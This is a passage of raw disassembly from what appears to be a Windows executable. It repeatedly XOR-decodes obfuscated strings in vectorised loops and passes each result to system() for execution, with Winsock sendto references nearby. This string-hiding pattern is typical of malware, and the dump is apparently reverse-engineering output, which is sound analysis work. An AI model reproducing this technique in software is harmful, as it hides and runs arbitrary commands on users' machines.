xor byte [r9 - 1], al
cmp r8d, 0x59
jl 0x140066d70
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x59c4]
lea rcx, [rbp + 0x7e]
mov byte [rbp + 0x7e], al
call fcn.14007e340
mov r10, rax
cmp byte [rax + 0x55], 0
je 0x140066f21
mov r8d, esi
cmp r15d, 2
jl 0x140066ee3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x50
jl 0x140066df0
cmp r8d, 0x56
jge 0x140066f21
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x56
jl 0x140066ef0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x51a1]
lea rcx, [rbp + 0x7f]
mov byte [rbp + 0x7f], al
call fcn.14007e390
mov r10, rax
cmp byte [rax + 0x46], 0
je 0x1400670a1
mov r8d, esi
cmp r15d, 2
jl 0x140067063
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x40
jl 0x140066f70
cmp r8d, 0x47
jge 0x1400670a1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x47
jl 0x140067070
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x50d2]
lea rcx, [rbp + 0x80]
mov byte [rbp + 0x80], al
call fcn.14007e3e0
mov r10, rax
cmp byte [rax + 0x43], 0
je 0x140067221
mov r8d, esi
cmp r15d, 2
jl 0x1400671e3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x40
jl 0x1400670f0
cmp r8d, 0x44
jge 0x140067221
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x44
jl 0x1400671f0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4d40]
lea rcx, [rbp + 0x81]
mov byte [rbp + 0x81], al
call fcn.14007e420
mov r10, rax
cmp byte [rax + 0x3f], 0
je 0x140067393
mov r8d, esi
cmp r15d, 2
jl 0x14006735d
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x40
jl 0x140067270
jmp 0x140067393
mov r9, r10
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x40
jl 0x140067360
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1740]
lea rcx, [rbp + 0x82]
mov byte [rbp + 0x82], al
call fcn.14007e450
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x140067631
mov r8d, esi
cmp r15d, 2
jl 0x1400675ee
movdqa xmm2, xmmword [0x14025daf0]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14025db00]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14025db10]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm2
mov r8d, reloc.WS2_32.dll_sendto
movdqa xmm2, xmmword [0x14025db20]
psubd xmm1, xmm0
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x140067600
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1755]
lea rcx, [rbp + 0x83]
mov byte [rbp + 0x83], al
call fcn.14007e480
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x1400678d1
mov r8d, esi
cmp r15d, 2
jl 0x14006788c
movdqa xmm2, xmmword [0x14025daf0]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14025db00]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14025db10]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm2
mov r8d, reloc.WS2_32.dll_sendto
movdqa xmm2, xmmword [0x14025db20]
psubd xmm1, xmm0
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x1400678a0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x179b]
lea rcx, [rbp + 0x84]
mov byte [rbp + 0x84], al
call fcn.14007e4b0
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x140067bd1
mov r8d, esi
cmp r15d, 2
jl 0x140067b97
movdqa xmm2, xmmword [0x14025daf0]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14025db00]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14025db10]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm2
mov r8d, Ordinal_26
psubd xmm1, xmm0
movdqa xmm2, xmmword [0x14025db20]
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14025db30]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x140067ba0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1831]
lea rcx, [rbp + 0x85]
mov byte [rbp + 0x85], al
call fcn.14007e4e0
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x140067ed1
mov r8d, esi
cmp r15d, 2
jl 0x140067e97
movdqa xmm2, xmmword [0x14025daf0]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14025db00]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14025db10]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm2
mov r8d, Ordinal_26
psubd xmm1, xmm0
movdqa xmm2, xmmword [0x14025db20]
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14025db30]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x140067ea0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x176b]
lea rcx, [rbp + 0x86]
mov byte [rbp + 0x86], al
call fcn.14007e510
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x1400681d3
mov r8d, esi
cmp r15d, 2
jl 0x140068199
movdqa xmm2, xmmword [0x14025daf0]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
movdqa xmm12, xmmword [0x14025db00]
movdqa xmm7, xmmword [0x14025db10]
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm6, xmmword [0x14025db20]
